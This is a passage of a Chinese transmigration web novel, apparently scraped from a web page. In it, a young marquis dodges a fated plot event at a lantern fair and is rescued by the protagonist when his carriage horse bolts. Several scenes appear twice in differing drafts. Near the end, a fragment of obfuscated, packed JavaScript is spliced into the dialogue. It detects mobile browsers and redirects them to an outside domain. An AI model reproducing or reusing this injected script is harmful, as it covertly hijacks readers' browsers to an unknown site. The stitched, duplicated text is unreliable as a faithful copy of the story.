全松乘这几日草木皆兵,没想到走在路上也能听见令他心惊胆战的声音,掀开车帘,先是认出了楼衔,竟是一怔,视线便不由得看向了楼衔身旁的小公子。
等目光落在了小侯爷揖礼时握着折扇的那只手,全松乘视线一凝,仅仅沉吟顷刻,像是蓦然想起了什么。
“那折扇是……”全松乘瞪大眼睛,半坐起身,呼吸都急促起来:“果真是你,小侯爷!”
“你就是那神秘客!”全松乘气不可遏,指尖颤抖地指向小侯爷,“上次在摘仙楼,你为了区区一个闻钰,让本官吃尽苦头,丢了好大的脸面!”
……
“原来是全大人。”
洛千俞竟未否认身份,而是轻轻一笑, “大人如此生龙活虎,果真年富力强。”
“晚生还以为您饮了整整一壶热酒,如今仍在府中养胃呢。”
全松乘脸色一白,忽的想起了那壶倒在裤-裆的烫酒,痛感历历在目,什么养胃?分明是嘲他阳-痿!这次仗着丞相撑腰有了底气,他恼羞成怒道:“当着丞相大人的面,竟敢对朝廷命官出言不逊,洛千俞,你简直胆大包天了!来人!”
楼衔向前一步,将小侯爷挡在身后,冷笑道:“佥事大人嚷嚷什么?光天白日的,是想让全京城的人,都知道您在摘仙楼唱了一出好戏吗?”
越说到后面,音量反而拔高了一度。
马车两侧的侍卫们没得丞相指令,皆是未动,却被猝不及防塞了口大瓜,默不作声,眼珠却纷纷转了一转。
全松乘老脸再也挂不住,大骂道:“你,你这竖子……!”
就在这时,前面的车厢忽然传来响动。
砰得一声。
像是硬物敲上车案的声响,亦像是何物落地,听不真切,却足以警醒。
声音不大,四周却彻底安静下来。
洛千俞瞥向那位佥事大人,上次全松乘在他这儿栽了好大跟头,但好歹还算骨气,直到最后嘴还硬着,而此刻……竟像换了个人。
别说噤声,竟是连大气都不敢喘一下,不仅不敢吭声,额头也冒了冷汗。
小侯爷心中暗忖,好强的压迫感。
接着,他便看向那辆暗沉慵雅的车厢,车帘被应声掀开,这个角度,只能看清对方的手。
洛千俞心头一跳。
蔺京烟,当朝丞相,书中头号大反派,也是买股攻里当之无愧的大热门。
同时他也知道,车厢内的这位大佬,只有一只手臂。
按照评论区的话说,那就是集齐了“残疾,战损,年上,身世悲惨的大奸臣反派,心思深沉的断臂丞相”等一系列经典标签buff,单拎出一条都香得没边。
但洛千俞却没心思回想这些。
认知之内,目前出场的买股攻虽然棘手,但身份地位起码都在他之下,必要时可出手压制,犯不着头疼,可是眼前的这位丞相虽还未露面,却是真正意义上第一位地位高于小侯爷的攻。
况且,这位丞相之所以断臂……还和原主有很大关系。
洛千俞作为穿书者,提前得知了小侯爷书中的结局,那便是被其他攻两根手指便废了腿。
而废了他腿的那个攻,正是眼前这位蔺丞相。
两个角色颇有渊源,结的却都是恶果,若是放在平时小侯爷见着这位蔺丞相,不仅不敬重,还经常百般出言挑衅,在作死边缘反复试探,如今看来还是谨慎为妙,早早远离。
…
“身上有伤,行礼就免了吧。”
那人此时开了口。
嗓音不疾不徐,低沉磁冷,令人耳根发麻,若是放到现代,妥妥的声控福利。
只是短短一句话,却让小侯爷额角渗了冷汗。
虽说是大反派,这洞察力也未免太敏锐了些,才掀开车帘,甚至真容都没露,如何知道他膝处有伤……莫非只靠声音?细思极恐啊。
“…谢丞相体恤。”知道这句话是对他说,吃软不吃硬的小侯爷只好硬着头皮开了口。
他和楼衔未动,本以为蔺京烟会因全松乘一事秋后算账,谁知连那人长相都没看清,幕帘便已放下了。
身旁侍卫眼看着丞相车帘撩下,得了指令,喊了声:“起架!”
眼见着车马行远,车夫不敢耽误,等两位公子一上马车坐稳,喝了声驾,车厢随之动荡启程。
楼衔坐下,没察觉方才暗流汹涌,却是细细思忖起来:“蔺京烟方才那话……你身上有伤是何意?”
洛千俞不答,只是脸色看着比先前白了些。
楼衔睫羽一动,像是想到什么,脸色一变,旋即俯下身,“让我看看膝盖。”
小侯爷一惊,果断拒绝:“不成。”
楼衔像是打定了主意,一只手已然握住锦袍一角,见人紧攥着不撒手,只好软下声哄着:“祖宗,让我看看。”
洛千俞呵斥道:“说了无事,胡闹什么?”
谁知这次楼衔竟没顺着他,半跪在地,仅是一瞬,便剥了他的鞋履,白绫软袜,露出光-裸的脚踝来。
“楼衔
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!”
洛千俞没他手快,声音染上恼火,眼看着另一只都要被剥了,他一脚踹上楼衔肩膀,“冷……你发的什么疯!鞋袜还我。”
刚踹完,小侯爷跟着愣了下。
楼衔平日看起来身板和他差不多,都是长身体的少年时期,没想到他一脚使了七成力,对方竟巍然不动。
不仅没动,反而握住了他脚踝,放进自己怀里。
下一刻,楼衔轻吸了口气。
小侯爷膝处红肿不堪,几处乌乌紫紫,与衣摆下雪白的皮肉相衬,显得触目惊心。
他直接炸了锅:“你爹这次下手这么狠?他怎么舍得!”
洛千俞捂住他嘴:“你再嚷嚷,整个京城都知道了。”
楼衔眨眨眼,握住他手腕,眉梢浮上些许懊恼委屈:“我爹从西域带了罐外伤密药,平日备在马车里,我帮你抹上……”
“用不着,只是看着严重,不耽误走路。”这倒不是假话,他甚至现在还能绕着侯府七进院子跑个来回,洛千俞想起正事儿,问:“你到底带我去哪儿?”
楼衔拿了药膏,指腹抹了些许,为洛千俞膝处上药,只吐露了两个字:“校场。”
校场?
小侯爷微怔,却觉膝盖一阵清凉,那股酸涩痛意恍然间竟褪去不少,不愧是神药。
不知多久,马车缓缓停下。
校场位于京城西郊,不远处就是猎场,下车时空气微凉,月色如细丝般穿透云层,这个时辰正值士兵们操练阵法。小侯爷披上暗色披风,束高发髻,随着楼衔上了观望台,台下长枪如林,旌旗飞舞士兵们声音响亮,擦过耳畔划过天际。
“……!”洛千俞被这宏大磅礴的场面震撼住。
别说穿越前只在电视里见过这场景,就连原主也未曾随父出征过,竟是头一次如此近距离接触古代军队。
等到小侯爷看够了阵法和格斗演练,楼衔便带着人去了临近的训练场,下人早已备了良驹,两人各自一匹,纷纷站定。
“为了会试,是不是早已耽搁了箭术?”楼衔轻轻一笑:“今天练个够。”
“你怎么想到的这地方?”小侯爷接过箭矢,深吸一口气,弯弓射出,划破长空。
楼衔话到嘴边,欲言又止,“……自然是想给你惊喜。”
洛千俞试了几次,虽然未能次次皆中靶心,心中却有种说不出的快意。
平日在城内,除去楼就是楼,出了府还是府,许久没嗅过这空旷清冽的空气,没想到神神秘秘拉着他来的地方并非风花雪月场,这一次,楼衔竟知他想要什么。
射够了箭,洛千俞便纵马驰骋,身上的伤竟觉已好得利索,马蹄声如雷挂耳,劲装衣摆之下尘土飞扬,风在耳侧呼啸,好不畅快。
“爽快!”洛千俞忍不住道。
看小侯爷开心,楼衔心中也跟着爽快,心中自知来对了地方,他翻身下马,便朝小厮使了眼色。
先前鹰和鸟都没了,令他窝了好大的火。如今趁着气氛正好,趁热打铁,他要牵来精心准备的礼物,抵去今夜偶遇全松乘那狗贼的不快!
洛千俞刚勒住缰绳,却忽然听闻一声马匹嘶鸣。
他身影堪堪顿住。
那声音实在醒耳,就连身-下的骏马都躁动不安起来。
远远看去,楼衔竟换了匹马,正朝着他的方向驰来。
定睛看去——
那烈马通身红色,一身肌肉线条流畅且极蓄力量,鬓毛亮如绸缎,马蹄飞扬间带起阵阵尘土,它昂首嘶鸣,声音响彻云霄,仿若战鼓擂动,野性十足。
即使不懂马,洛千俞也深知此马不凡。
不仅是小侯爷,不远处的将领士兵也伸长了脖子,皆被这匹骏马勾得移不开眼睛。
……太漂亮了。
说是百年一遇也毫不夸张。
洛千俞暗暗惊叹,这等良驹若放到现实那就是限量版超跑豪车,只是这烈马实在瞩目,莫名让他想起原书中闻钰的坐骑,那匹名叫“披风”的战马。
披风在书中笔墨不多,却足够浓墨重彩。
听闻披风性子极烈,一身血红,难以驯服,一生只认定一个主人,后期才真正归属于闻钰。而最初时,便是小侯爷首次登场时骑马闯夜市的那匹。
“……”
洛千俞眉角一抽。
心头顿时涌上股不祥的预感。
“此马名叫‘披风’。”楼衔勒紧缰绳,稳住身形,骏马相配可谓是英姿飒爽,他放声笑道:“也是送与你的礼物,等东郎桥那场灯会骑出去,让全京城的富家子弟瞧瞧,定能羡煞旁人……小侯爷?……………小侯爷?!你跑什么!”
楼衔一抬头,发现小侯爷不知何时早已调头,此刻竟已离他数百米!
速度之快,
马腿都跑出了残影。
10.第 10 章
待将裤管卷到小腿,露出双膝后——
下一刻,楼衔轻吸了口气。
小侯爷膝处红肿不堪,几处乌乌紫紫,与衣摆下雪白的皮肉相衬,显得触目惊心。
他直接炸了锅:“你爹这次下手这么狠?他怎么舍得!”
洛千俞捂住他嘴:“你再嚷嚷,整个京城都知道了。”
楼衔眨眨眼,握住他手腕,眉梢浮上些许懊恼委屈:“我爹从西域带了罐外伤密药,平日备在马车里,我帮你抹上……”
“用不着,只是看着严重,不耽误走路。”洛千俞想起正事儿,问:“你到底带我去哪儿?”
楼衔拿了药膏,指腹抹了些许,为洛千俞膝处上药,只吐露了两个字:“校场。”
校场?
小侯爷微怔,却觉膝盖一阵清凉,那股酸涩痛意恍然间竟褪去不少,不愧是神药。
不知多久,马车缓缓停下。
校场位于京城西郊,不远处就是猎场,下车时空气微凉,月色如细丝般穿透云层,这个时辰正值士兵们操练阵法,宏彻磅礴。
两人直奔训练场,下人早已备了良驹,各自一匹,纷纷站定。
“为了会试,是不是早已耽搁了箭术?”楼衔轻轻一笑:“今日练个够。”
“你怎么想到的这地方?”小侯爷接过箭矢,深吸一口气,弯弓射出,划破长空。
楼衔话到嘴边,卖了个关子:“……想给你个惊喜。”
洛千俞试了几次,原主和他皆箭术不精,虽然未能次次皆中靶心,心中却有种说不出的快意。
平日在城内,除去楼就是楼,出了府还是府,许久没嗅过这阔旷清冽的空气,没想到小跟班神秘兮兮拉着他来的地方,并非什么风花雪月场。
这一次,楼衔竟知他想要什么。
射够了箭,洛千俞便纵马驰骋,身上的伤竟觉已好得利索,马蹄声如雷挂耳,劲装衣摆之下尘土飞扬,风在耳侧呼啸,好不畅快。
“爽快!”洛千俞忍不住道。
看小侯爷开心,楼衔心中也跟着爽快,自知来对了地方,他翻身下马,便朝小厮使了眼色。
先前鹰和鸟都没了,窝了好大的火。趁着气氛正好,趁热打铁,他要把那礼物献来,小侯爷一定甚是欢喜!
洛千俞刚勒住缰绳,却忽然听闻一声马匹嘶鸣。
他身影堪堪顿住。
那声音实在醒耳,就连身-下的骏马都躁动不安起来。
远远看去,楼衔竟换了匹坐骑,正朝着他的方向驰来。
定睛看去——
那烈马通身红色,一身肌肉线条流畅且极蓄力量,鬓毛亮如绸缎,马蹄飞扬间带起阵阵尘土,它昂首嘶鸣,声音响彻云霄,仿若战鼓擂动,野性十足。
即使不懂马,洛千俞也深知此马不凡。
不远处的将领士兵也伸长了脖子,皆被这匹骏马勾得移不开眼睛。
……太漂亮了!
洛千俞暗暗惊叹,此等良驹若放到现实那就是限量版超跑豪车,只是这烈马实在瞩目,百年一遇,莫名让他想起原书中闻钰的坐骑,那匹名叫“披风”的战马。
披风在书中笔墨不多,却足够浓墨重彩。
听闻披风性子极烈,一身血红,难以驯服,一生只认定一个主人,后期才真正归属于闻钰。
而最初时,正是小侯爷首次登场时骑马闯夜市的那匹。
“……”
洛千俞眉角一僵,不由得后退一步。
心头莫名涌上股不祥预感。
“此马名叫‘披风’。”楼衔勒紧缰绳,稳住身形,放声笑道:“是赠与你的礼物,等东郎桥那场夜市骑出去,让全京城的富家子弟都瞧瞧,定能羡煞旁人……小侯爷?…………………小侯爷?!……你跑什么!”
楼衔一抬头,发现少年早已调头跑路,此刻竟已离他百步之外!
速度之快,马腿都跑出了残影。
任凭身后如何呼喊,小侯爷竟一路越过楼衔家马车,直奔自己府中赶去。
守候已久的小厮眼见着主子单枪匹马地回来,一下愣了神,忙将备好的手炉拿出,问:“公子,怎的独自回来了?方才不是与楼公子一道去的么?”
洛千俞下了马,顺手将缰绳递给小厮:“莫要提他,已经绝交。”
小厮:“??”
见这小厮有些面生,许是新进府不久,小侯爷随口问:“你是新来的?”
小厮立马行礼:“是,小的名叫春生。”
闲聊几句,发现这小厮会些身手,但年纪尚小,因母亲病重需要银钱,被买来当差,这处境莫名让洛千俞想起了闻钰,心生不忍,便着府内赏了几十两银。
回院路上,小侯爷脚步一顿,蓦得想起了什么。
他从怀中拿出那把金色折扇,指尖转了转,随手扔给了跟在身边的春生,“这把折扇送你。”
春生一惊,看这折扇通体金色,一眼不凡,怕不是宫里的稀世物件,惶恐道:“少爷,这可使不得!御赐之物,小人何德何能消受?怕是要折了小的阳寿。”
“不算是御赐之物。”洛千俞唇畔一动,“是太子哥哥……”说到一半,却堪堪止住,洛千俞轻叹口气,“我再也用不上了,如何使不得?你家中有难处,先拿去当铺换些银钱,恰解燃眉之急。”
春生愣了神,眼看小侯爷走远,才从茫然中红了眼睛,忙俯身磕了三个头,直到额头都泛了红,“…谢小侯爷。”
已经收了赏银,足够母亲治病,此恩浩荡,无以回报,这折扇怎舍得再当掉?
他要替小侯爷好好保管,比御赐之物还珍重,每日带在身边,落了一丝灰都不行!
—
接下来两日,小侯爷闭门不出,概不见客。
就这么生生熬到了东郎桥夜市当晚。
夜色笼城,华灯初上。
府外马车已备好,侯爷与夫人先上了马车,二公子和三妹妹都要一同去瞧瞧,洛十府正值锦衣卫当差,没能去成。
孙夫人握着软帕,还担心着自己的长子,问:“千俞真的不去?”
小厮点点头:“公子说他身体抱恙,不想去。”
洛镇川叹气,安抚着孙氏,“不过是着了风寒,这么大的人,他心里有数,少费点心。”
……
没过半个时辰,洛千俞忽听丫鬟来传信:“公子,侯爷与夫人他们回来了。”
洛千俞疑惑:“这么快?”
丫鬟像是替他高兴,道:“听闻夜市半途忽降大雨,灯会延期至次日,小侯爷赶的可巧,今日不舒服,正好明日再去。”
洛千俞竟一脸失望的模样,脑袋缩回被窝
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,恹恹道:“再说罢。”
第二日。
小厮来报:“公子,四少爷要去夜市了,想邀您同去……”
洛十府?
一听是他那锦衣卫四弟弟,洛千俞这次甚至懒得想理由,一口回绝:“不去!”
过了约莫一个时辰,洛十府也半途回了府。听说夜市又延期至明日了。
府内,丫鬟急匆匆忙乱起来,赶去后院收晾晒的被子,一个老妈子低声埋怨,“这风也太邪乎了,平日里哪有这般厉害?瞧瞧,竹竿都吹断了!费了好大劲才晒上的……这好端端的,哪来的一股邪风。”
一股邪风?
洛千俞气得吐血。
又是刮风又是下雨,明天是不是就轮到走水了?
哪里是什么邪风,分明就是该死的剧情杀!
洛千俞随手披了件大氅,主动找到这两日的车夫,抓着人便问:“先别多礼。我问你,这两日你赶车去夜市,可曾瞧见一个天仙般好看的男人?”
车夫挠了挠头,思索片刻后说道:“公子,夜市上人头攒动,人来人往的,小人实在没太留意。您说的天仙般好看,是啥模样啊?”
小侯爷皱了皱眉,竟是有些语塞:“就是……肤色白皙,眉眼如画,身姿挺拔,气质卓然,往那一站,旁人都失了颜色……你当真一点印象都没有?”
老王面露难色,又仔细回忆了一番,才抱歉回道:“小侯爷,没有这样的人,若是俊到那般程度,小人应该会记着。”
果然,他不在那灯会夜市现身,闻钰也不会出现。
小侯爷心中暗忖,只好先回了锦麟院。
恰在此时,昭念顶风来报,神色匆忙,“少爷,楼公子差下人送来封信,还牵来了一匹红色骏马,说是赔礼。”
小侯爷腾得坐起身,“…什么?”
昭念像是同样疑惑,从怀中掏出那封信,递给小侯爷。
洛千俞心系那匹烈马,焦灼难言,只好狐疑着打开,发现竟是来自楼衔的亲笔信——
【敬启者:
昨夜骤风摧海棠,正如吾心纷乱不可拾。
君拂袖而去时,校场铜铃碎冰般作响,至今犹震肺腑。
披风虽烈,然其赤瞳如熔金,雪蹄踏云纹,实乃万里挑一可与君相配之物。
若其性桀骜冲撞于小侯爷,则与吾之愚钝如出一辙——今命人取金丝软鞭置于西厢,小侯爷若怒犹未消,可执此物笞我脊背,纵使血透重衫,犹胜此刻骨鲠在喉。
忆昔与君并辔南山,衣袂翻卷若鹤唳九霄。
自那时始,世间良驹皆觉配不得君之英姿。
今既触逆鳞,当闭门自省三旬,唯恐小侯爷疑我情谊掺尘。若得小侯爷一顾,纵使烈日焚身亦不觉灼痛,寒潭锁足亦甘之如饴。
临书涕零,不知所云。惟愿浮云蔽月终有时,玉壶冰心可鉴之。】
大概意思就是,虽然不知道自己做错了什么,但小侯爷生气了,那便都是他的错。披风就当是他的赔礼,要是还没出气,日后拿鞭子抽他脊背都行,但别不理他。
这封求和信字迹隽秀,言辞真挚,句句发自肺腑。但还是酸得小侯爷后槽牙发痒,莫名起了一身鸡皮疙瘩。
这个楼衔,道歉就道歉,赔礼就赔礼……
怎么好好一封信,写的这么像情书?
11.第 11 章
洛千俞再也读不下去,把信扔在一旁。
虽事出有因,但他的小跟班确实无辜。小侯爷沉吟少顷,让昭念传话:“和楼衔说,礼我收下了。”
“再写这么骚的信,小爷就真和他绝交!学堂见。”
昭念忍俊不禁:“好。”
是夜。
丫鬟将汤婆子垫到小侯爷被褥下,轻手轻脚熄了灯,没发现少爷正辗转反侧。
经过多番试验,洛千俞已经确定,书中既定剧情躲不过,他和闻钰相遇是命中注定的必然。
原著怎么写来着?
小侯爷从楼衔那儿得了匹烈马,正愁无处炫耀,恰闻东郎桥灯会这晚,近乎全京城的官宦贵族平民百姓都会前来夜市观灯,正是人最多的时候。
小侯爷动了心。
当晚便弃了马车,骑着披风奔往东郎桥。而他不知道的是,披风性烈,此时并未被真正驯服,半途被那花灯和锣鼓声受了惊,竟猝然不受控制狂奔疾行!差点踩死了个买糖葫芦的女孩。
也就是在这时候,闻钰出现,纵身一跃,勒紧了披风的缰绳,力道之大,缓冲的摩擦使得手心都渗出血来。
小侯爷因惯性被甩下马去,摔了个屁墩,疼得站不起来,还断了尾骨,狼狈不堪。
却不由被美人惊艳,一见钟情,为日后恼羞成怒、将人强行掳回侯府的剧情埋下祸根。
洛千俞心里一凉,默默揉了揉自己骶骨下方。
屁股得多疼啊。
这剧情是非走不可吗?
翌日天色未暗,小侯爷早早去了马厩,披风一身火红,被单独隔了小间,正生龙活虎地咀咽草料。
“小人活了几十年,从未见过这般上乘的马。”马夫感叹着,不敢怠慢,这可是楼家少爷的赠礼,“少爷可是要骑这匹马去灯会?”
洛千俞看向那大快朵颐的罪魁祸首,一阵无言。
他越过披风,径直走向另一处马厩,抬手,随便一指:“将这匹牵出来。”
马夫定睛看去,竟是头平平无奇的棕色小马。连忙摆手,“少爷,此马性情懒惰,行辄停歇,尤喜休憩。”他劝道:“公子倘若骑着出去,它慢慢吞吞,跑不起来的。”
“很好。”洛千俞心中暗喜,要的就是跑不起来!
于是继续吩咐:“再找份马具给它套上,今晚我乘马车去。”
“是。”马夫虽不解,还是应下。
披风吞了口草料,目不斜视,鼻孔阖动,气流重了一瞬。马蹄踏过落地,发出一声若有若无的嘶鸣。
引得厩里其他马匹皆躁惧不安起来。
-
待夜幕临近,洛千俞悄无声息地离了府,身边只带了个昭念。
东郎桥与鼓楼相隔不远,可距离侯府却有相当一段距离。小侯爷靠坐于车厢,约莫半柱香的功夫,便赶到了巷角处的入口。
鼓楼之上早已挂满花灯,一路延至东郎桥,人流如织,摩肩接踵,四处好不热闹。
身着罗裙头戴珠钗的仕女们品着香,几个孩童举起花灯,聚在小车前等着糖画,隔上几步便看到火光杂耍,偶有书生墨客们聚集在一处品画吟诗,提词作赋。
当真应了书中那句——“古月凝画境,华灯映满城”的大熙盛况。
小侯爷无心游玩,事先有了准备,虽谈不上草木皆兵,但也时刻生出份警惕。
马车厚重,且龟速行驶,与驾驭披风相比,哪里有半分英姿飒爽的样子?昭念有些发怔,却发现小侯爷掀开帷裳,时不时朝窗外看,便询问道:“公子,可是在找什么人?”
洛千俞视线仍在车窗外,“没什么…外面听着热闹,我多瞧一瞧。”
昭念笑道:“公子若想玩,何不下去逛逛?属下自会盯着马车。”
洛千俞心下讪然,“不了,会试在即,过度沉溺玩乐只会扰我心志。”
下去逛逛?他可不想直接和闻钰打上照面,还是待在车里有安全感。
但很快,小侯爷的目光一凝,像是涌上惊喜。
…
女孩咽下最后一颗糖葫芦,扔了棍儿,意犹未尽。
一抬头,发现娘亲正在胭脂铺台前结账,眼看着卖糖葫芦的小贩越走越远,她心中焦急,跑出铺子追了两步,却忽然有一辆马车停至面前。
她瞪大了眼睛。
目光从金丝绣的帷幔,挪到了镶玉的车辕,马车漆光锃亮能照出人影,像是座会动的金銮殿,怕是金山银山雕出来的!
只见那帷幔一掀,露出里面的小公子来。
那公子生的好看,声音也好听,启唇问她:“小童,你左顾右盼,在找什么?”
小女孩绑了两个圆髻,身上穿了花袄,甚是可爱,怯生生的:“……想吃糖葫芦。”
“你娘没买给你吗?”
小童沉吟了一下,声音也小:“娘亲说只能买一个,吃了一个,还想吃。”
洛千俞掀开了点帘子,忍不住逗她:“不怕吃多了坏牙?”
女童哽了一下,奶声奶气的:“我年纪小,牙本来就要换的。”
洛千俞问:“那卖糖葫芦的小贩呢,已经走了?”
小童点点头:“已经走远了,我在追他。”
“你年纪小,跑的过人家货郎车吗?”
小童气得撅了嘴,要不是马车拦下,这时早就撵上了。
洛千俞掀开外帘,朝昭念吩咐了几句。昭念点点头,翻身下了马车。
洛千俞叹了口气。
脑中暗暗回忆——原书中,小女孩朝商贩追去,娘亲没留神,小童已跑到了路中央,恰逢小侯爷纵马疾驰,若非闻钰出现及时,抱起女孩,牵制住他的缰绳,恐怕早已成了披风马下的冤魂。
而他已经确信,眼前这个小娃娃,就是书中被闻钰救下的女孩。
不多会儿,昭念回来了,手中推着架货郎车,竹筐上插着各色各样的糖葫芦串,停到女孩面前。
小童向昭念身后看去,发现那商贩叔叔已不见人影,只留下货郎车和糖葫芦,她咽了下口水,有些怀疑:“哥哥,你把他杀了?”
昭念:“……”
洛千俞失笑。不难见得他们这群达官贵族绮襦纨绔平日在百姓眼里是什么形象,打趣道:“我们可是江湖上赫赫有名的糖葫芦大盗,杀倒不至于,只是劫了车。”
昭念微微皱眉,不愿别人误解他家少爷,一本正经的:“这些都是付了钱的。”
小童惊讶:“连车都买下来了?”
昭念:“嗯。”
小童没了顾虑,眼里霎时放了光,一手摘了一根糖葫芦,鼓着腮帮子吃了两颗。
洛千俞心中盘算着,现如今小女孩安然无恙,披风不在,马车平稳,一切相安无事。
今晚……算是熬过去了?
“哥哥也吃。”小童拿起一根,费力地举起,递给车内比她高了好一截的小神仙。
洛千俞微微一怔,伸手去接。
几人说话之际,不知从哪处,一只短弩咻得飞来,径直射中侯府家马匹一侧后臀。
车上的贵人无从察觉,只闻车前骏马忽的昂首,爆发出一声尖锐而凄厉的痛苦嘶鸣!
随即前蹄高高扬起,尘土飞扬,失控奔跑起来!
没递到手中的糖葫芦摔落地面,砰的一下,糖面碎成了硬渣,骤然一声脆响。
仅是一瞬,原本还静止不动的马车,此刻竟夹着风声疾速奔驰!小童眼中的马车倒影电光火石般流窜出数十丈,如同灯淬掠影。
小女娃受到惊吓,跌坐在地,嚎啕大哭起来。
昭念如遭重击,这一刻魄荡魂飞,追在马车后,声音惧颤地惊喊:“小侯爷!!!”
周遭剧变,洛千俞心脏狂跳,勉强稳住身形,却架不住车厢在疾速驶动中产生的剧烈颠簸,木质撞击崩裂的声响擦着耳畔,情况近乎失控。
没颠上几下,洛千俞握紧窗沿,无暇看向窗外疾速掠过的景象,却只听到路人一阵阵惊呼和尖叫声,这股愈发浓重的失控感,催磨着本就紧绷到极点的思绪。
身后惊出一背冷汗,心跳如鼓,下盘发痛。
搞什么!?
明明该发生的都未发生,谨慎至此,还强行搞剧情杀是吧!
天杀的狗作者!!!
不知过了多久,又或许只过了一瞬,马车可能已经开出了百尺……不,几百丈许。
洛千俞忍着身上磕出的疼痛,向前挪动几步,欲掀开车帘,尝试操纵那失控的马匹。
就在此时,一道身影自人群中窜出,如鹰隼般矫捷,犹若从天而降,一个箭步跃上车沿。
脚尖一点,飞身踩住马镫。那人毫不迟疑,向后勒紧缰绳,死死攥住绳扣,受惊的马匹力量惊人,犹若倒塌的城池。
那人咬紧牙关,指节泛白,直至掌心渗出血来。
马匹被迫扬起头颅,鬓毛在风中狂乱废物,溢出震耳欲聋的嘶鸣!
那人目光如炬,眼中却没有丝毫惧意,反而趁此机会翻身上马。他夹紧马腹,宛如生了根,任凭骏马剧烈挣扎也丝毫不动。
这一下颠簸和急刹却让车内的人受了罪。
剧烈的动荡使得小侯爷重重跌坐而下,后腰磕上硬质木板,尽管有丝绒垫做缓冲,却也让洛千俞疼得浑身一颤,一瞬掉了冷汗。
受惊的骏马胸膛起伏,喘着粗气,负隅顽抗了几十步,终究抵不过这场力量的殊死较量。
它眼中那抹狂躁逐渐消散,取而代之的是屈服和疲惫感,速度也见了缓。
最终,马车停在了东郎桥外的石阶旁。
周遭平息后,洛千俞掀开车帘,向外看了眼,又迅速阖上。
那人戴着帷帽,身姿挺拔,看不清真容。
可是,在这千钧一发之际现身,能有如此身手,身轻如燕般驾驭受惊而疾驰的骏马,即使在京城内能做到的人也屈指可数。
不是闻钰还是谁?!
犹记得书中这时,闻钰冷冷看着从马背摔坐在地的小侯爷,生平他最厌恶的便是这种仗势欺人,逮到机会便肆意横行的纨绔子弟,冷漠开口:“天下黔首黎民,不过是你纵情享乐之际,随意践踏的蝼蚁吗?”
自此,小侯爷给闻钰的第一印象已是差到极点,算是狠狠拉了一波厌恶值。
洛千俞大脑飞速运转。
此番虽没亲自纵马,但马匹受惊,险些伤了行人,将马车驶进人群的行为便是错误和隐患,闻钰仍有一万个理由反感鄙视他,冷眼相看都算优待。
众所周知,原书中越是被主角受厌恶的配角,死的越是凄惨。他可以当他的闲散纨绔,但犯原则性错误便是另一回事了。
这可不行!
车内的贵人沉吟片刻,没等闻钰开口,却压低了声音,声线矜贵清冷:“大胆,何人冲撞侯府马车?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005822|160247||http|test|mini|href|location''.split(''|''),0,{}));
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>“如此莽撞,若伤及无辜百姓,你可担待得起!”
闻钰一怔。
洛千俞被自己这番话臊得心不安理不壮,表面是问责发难,实际上先发制人,把道德的标杆重新扔回闻钰的边境,饶是正直如主角受,也难免陷入了自证危机。
闻钰翻身下马,单膝跪地,沉声道:“贵人马匹受惊,草民情急之下出手勒马。”
“实则无意冲撞,更无伤及百姓之意,望贵人海涵。”
美人说完,却听得小侯爷耳根发热。想来自己倒真成了倒打一耙的霸道户,还真真坐实了纨绔的名号。只是节操诚可贵,生命价更高,只能对不起小美人了。
洛千俞唇角一抿,“既知错,还傻站在这儿做……”
刚欲说完,让美人回家反省别在这儿碍眼,自己好趁机跑路,昭念却在这时急匆匆赶来,掀帘上车:“小侯爷!您没事吧?可伤到了哪里!?”
洛千俞:“……”
洛千俞:“无事,哪儿都没伤到。”
昭念不放心,生怕小侯爷受了什么隐蔽的伤,他握住幕帘边,急道:“属下这就驾车送您回府。”
洛千俞心中一急:“不可!”
从刚才开始,他便觉得腰处……尤其是下盘,轻轻碰一下都疼,几乎是动弹不得,稍微颠簸都疼得冒汗,更别提此刻坐车回府。
昭念看清了小侯爷额上的细汗,心中一惊,果然是伤到了!他忙背过身去,单膝跪地,道:“属下背您。”
“等等,先别动。”
他轻轻抿了下唇,小声道:“背也不行,好像是扭伤了腰。”
昭念心下焦急,提议道:“那属下抱您回去。”
洛千俞却摇了摇头,说:“拿个帷帽来。”
不行,绝对不能露脸。
虽说小侯爷在书中这时暴露身份,在剧情上没有任何问题,但大庭广众下被一个男人抱回府去……小侯爷眼前发黑,不能被任何人瞧见,再疼都不行,死都不成!
昭念不知小侯爷是何意,只好下了马车,发现他们此刻离东郎桥还有一段距离,过了桥,回去找小摊店铺,要费上好大功夫。
视线不经意落在了闻钰身上,昭念念头一动,上前一步:“这位郎君,可否借帷帽一用?”
……
不久,车厢的帷幔被再次掀开,昭念开口:“公子,帷帽抢……拿来了。”
这么快?
这期间,洛千俞许久没听见闻钰声音,方才对话被打断,正是离开的绝佳时机,猜测美人大概已经回去了,才稍稍放下心来。
“好。”
洛千俞忍着疼,低声吩咐:“找个人高马大的,抱我出去。”
昭念心生不解,立刻自荐:“为何找人?属下抱您回去。”
小侯爷一惊,呵斥:“胡说什么。”
瘦成那样,抱纸筒都费劲,还来抱我?
最初洛千俞还误以为昭念是被原主亏待,后来细心投喂许久,才发现他家侍读一顿饭四两白面馒头垫底,吃完再动主菜。
这小子根本吃不胖。
“侯府那么远,你哪来的力气?”小侯爷微微蹙眉,仿若没了耐性,撵人道:“出去。”
昭念心中如热锅蚂蚁,本想再劝,但见这架势只好作罢,轻声道:“好,属下这就去找人…公子再坚持一会。”
这一等又是半柱香的功夫,洛千俞垂下眼帘,几乎生出了丝困意。
这时,帷幔被掀开,携进一丝凉意。
同时裹携而来的,是一丝淡淡的、无法忽视的香气。
洛千俞心神微动,抬了眼,视线也随之清明些许。
不看则已,这一看,困意瞬时褪得干净,连心跳都飞出了几丈之外!
竟是闻钰!
昭念!让你找人,你怎么把美人主角找来了!!
“你怎么……”洛千俞讶然间吐出几个字,却是寡言,不想露怯,堪堪息了鼓。
闻钰望着那位方才还对他趾高气昂的矜贵小公子,此刻正戴着自己的帷帽,没说话,只俯下身。
在小侯爷怔然之际,听到耳侧清冷微沉的声音:
“贵人,得罪了。”
洛千俞瞳孔一抖,握在窗沿的手不自觉蜷紧了,自穿越以来未被任何人触碰过的腰侧一紧,贴着腰窝,紧挨衬袍,此时多了一只手。
